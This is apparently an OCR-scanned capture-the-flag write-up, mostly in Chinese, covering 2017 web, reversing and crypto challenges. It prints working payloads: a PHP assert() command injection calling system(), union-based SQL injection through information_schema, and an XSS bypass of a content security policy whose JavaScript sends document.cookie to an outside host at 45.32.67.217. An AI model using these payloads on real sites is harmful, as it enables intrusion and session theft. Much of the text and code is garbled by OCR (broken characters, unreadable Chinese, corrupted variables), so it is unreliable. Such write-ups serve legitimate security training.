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Raw | Headers | Hex

GET /admin_s3cr3t.php HITP/1.1
Host: 39.108.192.25:5001

User—Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; =64; rv:54.0)

Gecko/20100101 Firefox/54.0

|Accept: text/htnl, application/xhtml+xnl, application/xnl; g=0. 9, */+;q=0. 8

Lccept-Language: zh-CH, zh;g=0. 8, en-U5,; g=0. 5, en; g=0. 3
|Accept—Encoding: gzip, deflate

Cookie: adnin=1

Comnection: close

Upgrade-Insecure—Requests: 1

babyphp

T

HTTP/1.1 200 OK

Date: Fri, 23 Jun 2017 12:06:33 GHT
Server: Apache/2. 4.7 (Ubuntw)
{-Powered-By: PHP/5. 5. 9-lubuntu4. 20
Set—Cookie: adnin=0
Content-Length: 21

Connection: close

Content-Type: text/hinl

flag thello_admin™}
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BEEFEHEE R hint

<1i »<a href="?page=contact”>Contact{/a></1i>

(!——1i >{a href="?page=flag " >My secrets</a>{/1i> —>
/ul>
R 5 IX A gitit 55

iff —git a/indes: p b/index. php
ew file mode 1006
ndex 0000000. . 7Tcac99d

++ b/index. php

KRBT, XA RERS, REHATVR EFEIR, Fiaais
fOXXX.

XA RMEAE B 2
$file="templates/"."".xxx."'".".php"

php'

1IN Y=mOw SULT ASDT ENCIYpPTIONT  EncodingT  utners

@ Load URL | http://39.108.192.25:5002/?page=flag'.system("Is templates/;")."
% split URL

b Execute

[] Enable Post data [_] Enable Referrer
@z~ Acookiesv g cssv [==y @ERY OREEE~ Damhesr Jmdy JEn ATE mEESRREY amy O O @

about.php contact.php flag.php home.php about.php contact.php flag.php home.php That file doesn't exist!



RIAUURE], EREMEEE, BORBAGHLED, BHMPITsysar MR
','..") === False and system('');//

payload:

','..")===False and system('cat templates/flag.php');//

& Load URL |view-source:http://39.108.192.25:5002/?page=",".."\===False and system('cat templates/flag.php").//

% split URL
Execute

[ ] Enable Post data [ | Enable Referrer
@22~ &cookiesv # CSSv [A=m~ @EKY ONEEE- =iy Jinid F g ATSE~ BEEEAE LT U « ¢
<{?php
// TODO

//$FLAG = ’6ldctf{8e_careful when uslng assdrt}’:
2>

That file doesn t exist!

flag: 61dctf{8e_careful_when_uslng_ass4rt}

inject

—FIERAHME R, Bz —T&0
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RIABINRMANEFTEL, #2 hack! , TR Hacker() IREERT, TIILIERBOREREIEANRBEHIMEM, BT Rl LAHEARA
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@ Load URL | http://39.108.192.25:5003/index.php
g.g Split URL ?table=flag™ " union select 1-- +

b Execute

[ ] Enable Post data [_] Enable Referrer
@=m~ AcCookies¥ 2 Cssv [~ @ELY OREESE~ HErThes /

flag{xxx}

BRI, ERAR, BRAEFREMTHE, FH linit

@ Lload URL | http://39.108.192.25:5003/index.php?table=flag’ * union select 1 limit 1,1-- +
% split URL

’ Execute

[ ] Enable Post data [_] Enable Referrer
@z~ AcCookiesv 2 Cssv =2~ @AK~ ORIEE~ D=y Fimer ' FH ATEY m=E
1

R4

@l Load URL | http://39.108.192.25:5003/index.php?table=flag” " union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1-- +
% splitURL

L Execute

[] Enable Post data [ Enable Referrer
@z~ ACookies™ 2 CSSv [Q=m~ @EAK ONEES Qs Jimey S Eir ATSY WESRAD LsE- O « @

,secret_test

I

@ Load URL | http://39.108.192.25:5003/index.php?table=flag” * union select group_concat{column_name) from information_schema.columns where table_name=0x7365637265745666¢6167 limit 1,1-- +
% spliturL

¥ Execute

[] Enable Post data [ | Enable Referrer
@z &cCookiesw p CSsv [J=e~ @ER~ @REEE~ @afmhEy Jimdr Figr ATS~ WESHEEY LRk~ O « @

flagUwillNeverKnow



flag®|F

@ Lload URL | http://39.108.192.25:5003/index.php?table=flag” ~ union select group_concat(flagUwillNeverkKnow) from secret flag limit 1,1-- +

% split URL

» Execute

[] Enable Post data [ | Enable Referrer
@z=m- Lcookiesv # Cssv [J==~ WERE- @RS~ D=kt Jimg~ JHgr ATSEY WESFERE L O « @

flag{luckyGame-~}

babyxss

HRRKIEDKRE, BEREA

B R ExssHIiEfE, AidH csphlil

B R L e

Content-Security-Policy defzult-src "self’: script—sre ' self’

B T CSPXlinkiz 2 K TN BRIy ReH A T E, KR-RBE—

¢link rel="prefetch” href="http://45.32.67. 217/%85/2c=[cookiel ">

WET, BRARER, UiH—T

D=m~ KCookiesv o CSS+ [J=2~ WEE~ QREEE~ [=ihasy Sindy JEn ATSY E=ESERE
{link rel="prefetch” href="http://45.32.67.217/X8S/?c=[cookiel ">




RAGARMET, LRI T X, GREERABGFHIELES, BTHEAFA, AN
ARERE T RR, FERAEA, BAEABHreferer T #9715

<link rel="prefetch" href="http://45.32.67.217/X88/%c=[cockie] ">

var nlt = document.createElement ("link") ;
nlt.setAttribute ("rel", "prefetch");
n0t.setAttribute ("href", "http://45.32.67.217/X88/%a=" + String(document.cookie)) ;
document.head. appendChild (n0t) ;

alert(l)

BRANRRIE I Fsrc BT, SREKAAMAT, BHTHE TInkblE, TEHBAE TEN, BREELLInk#EHTER)EKphp X
APAT, SR, KIRT)

v 2017468240 17:40:58  39.108.192.25 EBEEITHE Linux SEETISEaE GRAD) GET  {"GET™["c"]}

GET POST Cookie HTTPiSREE HipEE

£ &

Purpose prefetch

Referer http://39.108.192.25:5004/4dmin.php?id=a52a760e9e23ac77cd353efd4aca2faac

User-Agent Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept *f*

var n0t = document. createElement ("1ink”) ;
n0t. setAttribute ("rel”, “prefetch”):
n0t. setAttribute ("href”, “http://45.32.67.217/X8S/?a=" + String(document. cookie)) ;
document. head. appendChild(n0t) ;

//<{1link rel="prefetch” href="http://45.32.67. 217/%85/2c=[cookiel ">

XSSEIER
Eefii IP Filg =R Bk EEEE
© 2017568248 17:41:33  39.108.192.25 EERRHTIR Linux FRETRIZH(GRE) GET  {"GET":['a"}

GET POST Cookie HTTPEKIER Eittz2

'/ &
a flag=61dctf{c3p might n4t 84 3ecOrity}

payload:
BRI




AR5 HRIEIR 6] i referer 238

R IEFEIR [Flflag
RE

androidea

F Fjebs

"~ super(); o
this.s — new byte[]{113, 123, 118, 112, 108, 94, 99, 72, 38, 68, 72, 87, 89, 72, 36, 118, 100,
78, 72, 87, 121, 83, 101, 39, 62, 94, 62, 38, 107, 115, 106};

}

public boolean check() {

boolean vZ = false;
byte[] v0 = this.editText.getText ().toString() .getBytes (),
if (v0.length == this.s.length) {

int vl = 0;

while (vl < this.s.length) {
if (vl >= v0.length) {
break;

}

if(this.s[vl] == (vO[vl] ™~ 23)) {
++vl;
continue;

}

else {
return v2;

}

}

vZ = true;

¥

return v2;

stheasy



J 4 %

1[int _ cdecl sub_884863B8{char =s5)
2K

3| size_t v1; // eax@?

4 dint w3d; FF edxzEs

5

6 if { 5 )

74

8 vl = strlen{s};

9 if { vl )

a {

1 if { vl == 29 )

2 {

3 vl = B;

4 while { s[v3] == byte 8OY9AEQ[ {unsigned  int8){{unsigned  int8)byte BO4IBIS[vE] / 3u - 2)] )
5 {

6 if { ++u3 == 20 )
7 return 1;

8 b

9 H

'8 H

Al 3

2| return 8;

33

R EB A

.data:@8042AEB ; char byte_ 8B4DAED[ ]

.data:08049AED byte SO4LOAED db aCh ; DATA XREF: sub 8B48630+53Tr
.data:@8849AE1 aK2j?ghngfylsdshn db 'kZjPGhiagfYads-aoQWM#KkSER_T[culbU7n0m3Zei{CHt85Zo0]U" , B
.data:B88049B1% ; char byte_ 8849B15[]

.data:08049E15 byte 8O49B1S db 48h ; DATA XREF: sub_80648630:1loc_80486681r
-data:08049B16 db 5Dh ; ]
-data: 08049817 db 8Dh ;
-data:08049B18 db  24h ; §
-data: 08049819 db  84h ;
-data:08049B1A db  27h ; °
-data:08049B1E db 99h ;
-data:08049B1C db 9Fh ;
-data:08049B1D db S4h ; T
-data:08049B1E db  18h
-data:08049B1F db  1Eh
-data:08049B20 db 6%h ; i
-data:08049B21 db  YEh ; ™
-data: 08049822 db  33h ; 3
-data: 08049823 db  15h
-data:08049B24 db 72h ; r
-data: 08049825 db 8Dh ;
-data: 08049826 db 33h ; 3
-data: 08049827 db  24h ; §
-data:08049B28 db 630 ; C
-data: 08049829 db  21h ; *
-data:08049B2R db S4h ; T
-data:08049B2B db  6BCh
-data:08049B2C db  78h ; =
-data:08049B2D db  78h ; =
-data:08049B2E db  78h ; =
-data:08049B2F db  78h ; =
-data:08049B30 db  78h ; =
-data:08049B31 db  1Bh
-data: 08049832 db 8
-data: 88049833 db £}
.data:@88496833 _data ends

.data:@8849B33

et = M T R TE oy T, e e e e E e e e e e )

3 —TF, payload



£

Crypto
bbencode

TP Wn 4

XAEROCHK)OneTimePad 1 tLB R, AEFHET L, RNMEERBERMERN T CEEMEWAER T X, HaEFslag, Al
BEEARMRY, FIUABAMERERBLDE, kT4, FHilflaghk X2 flag() XFEREE I flag) 1613 il & 75 IL AR AT



n v buan le duo

ou_xian yu huan le duo !!}

{you_xian yu huan le duo_ !!}

RNEREBEIFL, PTEEARBAQRRERERZ DK, PRI H X
rsappend

BANETHA



EXHRERERAANE, REEENER, FEE, SRICEagERRZEILFR, RESRIEHEHc.e, REfh
JERTERI2K, LR —ENEHELE

)6

¥¥$9530208960561505164525377033820553117267735349894658068278682204551359721242292198156782645207257598209697959143589608210606636890939
2732412408395609039782454365585370868490133213690708637220885675994320217675907319458456835089867528288328594508842589396176918307401828
0324918070440135840327377690367250795846494724456316556468765120349719831709596514043381105689081201874650812199104104092957499348654817
9082452560655145978855376562941611031041900735691222573355920559986444082631923441903524823440304006537837570043031193141875974622314819
62641252459687 58978085685575770367802458364221507605423244464185308160758493467227146151319043775738881806473915186115723685543006673
7106816760203778571840320052948115339575449124732382912271848569710056223782215960830994958599084220104119323173870639844453023353328160
9271 27 23711237917277795500317596333142843576977429802405873159965636003943698854 97266357560238396058047219030057656195314321832

2876127855302438418721376597465976865772153344870602207574703634798237002870553884327663110292850080257

42975584077663380114254296902060435479755741671231918448537178




RAZHHE, R—EUARESHEEHELE, RN AEHMERIELGE IR, 5 IEH AR 5 s 2 F R A 25 T R 3E 78 7 B
Mo o o HBR
A

278533827100460451039113133829451193439§

2269648345132044702474740844937943533
6667512620271207307673551084864761902
7265697318250182509399767789260713511

148375107991372949268273379706939281114
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